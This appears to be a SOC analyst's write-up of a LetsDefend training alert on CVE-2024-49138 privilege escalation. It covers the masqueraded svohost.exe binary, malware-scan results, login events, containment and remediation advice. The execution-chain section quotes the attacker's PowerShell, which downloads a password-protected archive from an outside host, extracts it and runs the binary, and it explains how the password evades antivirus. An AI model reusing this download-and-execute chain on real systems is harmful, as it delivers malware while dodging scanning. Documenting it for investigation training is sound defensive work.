LetsDefend SOC335 – CVE-2024-49138 Privilege Escalation Exploitation Analysis

Alert Name: SOC335 – CVE-2024-49138 Exploitation Detected
Severity: High
Event ID: 313
Event Time: Jan 22, 2025, 02:37 AM
Category: Privilege Escalation

Base Information#

Incident Details#

Pre-Investigation Notes#

• Date: Jan 22, 2025, 02:37 AM
• Hostname: Victor
• IP Address: 172.16.17.207
• Process Name: svohost.exe
• Process ID: 7640
• File Hash: b432dcf4a0f0b601b1d79848467137a5e25cab5a0b7b1224be9d3b6540122db9
• User: EC2AMAZ-ILGVOIN\LetsDefend

Play Book#

The process name is suspicious because it closely mimics svchost.exe by replacing one character, a common masquerading technique used by malware to blend in with legitimate Windows processes.

Check if the malware is quarantined or cleaned

Malware Analysis#

VirusTotal analysis confirms the file is highly suspicious based on community detections and behavioral indicators.

YARA Signature Match – THOR APT Scanner
Rule: SUSP_HKTL_Gen_Pattern_Feb25_2
Rule Set: Livehunt – Hacktools Indicators
Description: Generic hacktool behavior pattern
Detection Ratio: 51 / 74 engines

Hybrid Analysis reports indicate the executable behaves like a service installer abuse tool commonly used during privilege escalation attacks.

• Service-installer.zip
• Svohost.exe

Command and Control Activity Review#

Multiple authentication attempts were observed from the same external IP address prior to successful access.

Failed Login Attempts (Event ID 4625)

Successful Login (Event ID 4624)

Containment Actions#

• User account was contained for further investigation
• Host activity monitoring was enabled
• Malicious process execution was blocked

Observed Execution Chain

powershell.exe downloaded and extracted a password-protected archive and executed the masqueraded binary from a temporary directory. PowerShell command used:

$url = 'https://files-ld.s3.us-east-2.amazonaws.com/service-installer.zip'
$dest = 'C:\temp\service-installer.zip'
$extractPath = 'C:\temp'
$password = 'infected'
Invoke-WebRequest -Uri $url -OutFile $dest
7z.exe x -pinfected -oC:\temp service-installer.zip
C:\temp\service_installer\svohost.exe

1. Defines a download URL $url points to a ZIP file hosted online (service-installer.zip).

2. Sets where the file will be saved $dest is the local path where the ZIP file will be downloaded: C:\temp\service-installer.zip

3. Defines the extraction directory $extractPath is set to C:\temp, where the contents of the ZIP will be unpacked.

4. Defines the ZIP password $password = ‘infected’ Password-protected ZIP files are commonly used to evade antivirus scanning during download.

5. Downloads the ZIP file Invoke-WebRequest -Uri $url -OutFile $dest This pulls the ZIP archive from the remote server and saves it locally.

6. Extracts the ZIP using 7-Zip

7z.exe x -pinfected -oC:\temp service-installer.zip x → extract files -p infected → use the password -oC:\temp → output directory This unpacks the archive into C:\temp.

7. Executes the extracted binary C:\temp\service_installer\svohost.exe This directly runs the executable after extraction.

Impact Assessment#

• Privilege escalation: Confirmed
• Host compromise: Partial
• Persistence risk: High
• Lateral movement: Not observed
• Data exposure: Unknown

Recommended Actions#

1. Immediately isolate the affected endpoint
2. Reset credentials associated with the compromised user
3. Remove all artifacts related to the malicious installer
4. Patch systems vulnerable to CVE-2024-49138
5. Enable enhanced logging and EDR protections
6. Monitor for similar masquerading techniques across the environment

Final Verdict#

True Positive – Confirmed Privilege Escalation Exploitation

The alert represents a successful exploitation attempt leveraging a disguised service binary associated with CVE-2024-49138. Immediate remediation and system hardening are required.

Analyst Note#

The investigation confirmed the execution of a malicious binary impersonating a legitimate Windows service process. The activity originated from an external IP address, involved multiple failed authentication attempts, and resulted in a successful RDP login followed by malicious process execution. Evidence supports a confirmed privilege escalation scenario with a high risk of persistence if not remediated.